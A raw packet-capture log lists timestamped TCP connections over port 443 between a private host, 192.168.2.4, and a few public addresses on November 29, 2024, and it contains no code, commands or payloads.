Nov 29, 2024 23:11:05.983438015 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.983558893 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:05.983568907 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.006962061 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.007003069 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.007064104 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.007189035 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.007204056 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.007213116 CET	49793	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.007217884 CET	443	49793	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.009182930 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.009195089 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.009268045 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.009397030 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.009409904 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.355931044 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.355973959 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.356126070 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.356205940 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.356220007 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.356228113 CET	49795	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.356231928 CET	443	49795	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.358725071 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.358757019 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:06.358824015 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.358989000 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:06.358999014 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.755026102 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.755572081 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:07.755593061 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.755930901 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:07.755935907 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.762708902 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.762995005 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:07.763005972 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.763381004 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:07.763385057 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.864937067 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.865365028 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:07.865385056 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:07.865791082 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:07.865796089 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.204102039 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.204607010 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.204627037 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.205028057 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.205032110 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.207386971 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.207432032 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.207482100 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.207689047 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.207698107 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.207707882 CET	49798	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.207711935 CET	443	49798	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.207998991 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.208061934 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.208117962 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.208686113 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.208705902 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.208715916 CET	49797	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.208724022 CET	443	49797	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.211041927 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.211066961 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.211142063 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.211427927 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.211440086 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.212380886 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.212398052 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.212455034 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.212558985 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.212573051 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.318432093 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.318483114 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.318523884 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.318625927 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.318633080 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.318639994 CET	49799	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.318643093 CET	443	49799	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.320563078 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.320581913 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.320651054 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.320785046 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.320795059 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.657949924 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.658005953 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.658060074 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.658236980 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.658245087 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.658255100 CET	49800	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.658260107 CET	443	49800	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.661067009 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.661089897 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:08.661170959 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.661329985 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:08.661339998 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:09.927279949 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:09.927807093 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:09.927834988 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:09.928253889 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:09.928258896 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.165812016 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.166330099 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.166351080 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.166753054 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.166758060 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.362925053 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.363002062 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.363056898 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.363212109 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.363223076 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.363230944 CET	49802	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.363234997 CET	443	49802	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.365916014 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.366004944 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.366095066 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.366266012 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.366301060 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.550944090 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.551386118 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.551404953 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.551831961 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.551836967 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.619285107 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.619333982 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.619386911 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.619535923 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.619535923 CET	49803	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.619546890 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.619554996 CET	443	49803	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.621901035 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.621918917 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:10.621988058 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.622109890 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:10.622119904 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.004345894 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.004406929 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.004465103 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.004605055 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.004611969 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.004621983 CET	49804	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.004626036 CET	443	49804	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.006870985 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.006933928 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.007024050 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.007149935 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.007181883 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.533112049 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.533734083 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.533749104 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.534126043 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.534128904 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.900746107 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.900779963 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.900826931 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.901138067 CET	49796	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.901145935 CET	443	49796	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.904304028 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.904328108 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:11.904382944 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.904656887 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:11.904669046 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.146688938 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.147069931 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.147134066 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.147469044 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.147481918 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.470093966 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.470529079 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.470549107 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.470978975 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.470983982 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.709311962 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.709377050 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.709429979 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.709609985 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.709644079 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.709687948 CET	49805	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.709705114 CET	443	49805	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.712296009 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.712325096 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:12.712404966 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.712574005 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:12.712588072 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.006017923 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.006062984 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.006129026 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.006341934 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.006352901 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.006361961 CET	49806	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.006366014 CET	443	49806	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.009211063 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.009234905 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.009309053 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.009475946 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.009488106 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.255451918 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.255934000 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.255948067 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.256366014 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.256370068 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.704771996 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.705157042 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.705178976 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.705728054 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.705732107 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.706185102 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.706226110 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.706273079 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.706396103 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.706403017 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.706413984 CET	49801	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.706419945 CET	443	49801	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.708647013 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.708667994 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:13.708748102 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.708879948 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:13.708890915 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.175839901 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.175890923 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.175956011 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.176139116 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.176156998 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.176170111 CET	49808	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.176173925 CET	443	49808	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.178889036 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.178956985 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.179048061 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.179234028 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.179267883 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.516233921 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.516772985 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.516796112 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.517218113 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.517222881 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.547662020 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.548243999 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.548291922 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.548659086 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.548671961 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.737823963 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.738475084 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.738490105 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.738915920 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.738919973 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.961010933 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.961078882 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.961143970 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.961322069 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.961335897 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.961344957 CET	49809	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.961349964 CET	443	49809	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.964152098 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.964179039 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.964262962 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.964422941 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:14.964433908 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:14.968949080 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:14.969017029 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:14.969062090 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:15.108020067 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.108071089 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.108242989 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.108462095 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.108462095 CET	49807	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.108510971 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.108536005 CET	443	49807	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.111181974 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.111233950 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.111341953 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.111534119 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.111567020 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.219367981 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.219410896 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.219461918 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.219588995 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.219600916 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.219611883 CET	49810	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.219615936 CET	443	49810	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.221647978 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.221668959 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.221740007 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.221914053 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.221925020 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.564090967 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.564796925 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.564816952 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.565412998 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.565418005 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.739955902 CET	49790	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:11:15.739967108 CET	443	49790	142.250.181.100	192.168.2.4
Nov 29, 2024 23:11:15.970786095 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.971616030 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.971672058 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:15.972453117 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:15.972469091 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.027446985 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.027493000 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.027537107 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.027868986 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.027878046 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.027889013 CET	49811	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.027892113 CET	443	49811	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.032337904 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.032391071 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.032449007 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.032768011 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.032783985 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.415442944 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.415486097 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.415565014 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.415735960 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.415776014 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.415802002 CET	49812	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.415818930 CET	443	49812	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.418200970 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.418231010 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.418332100 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.418462038 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.418473005 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.681087971 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.681484938 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.681504965 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.681957006 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.681962967 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.923979998 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.924519062 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.924550056 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:16.924952030 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:16.924964905 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.001034021 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.001626015 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.001641035 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.001910925 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.001914024 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.116139889 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.116204977 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.116321087 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.116457939 CET	49813	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.116465092 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.116480112 CET	49813	443	192.168.2.4	13.107.246.63
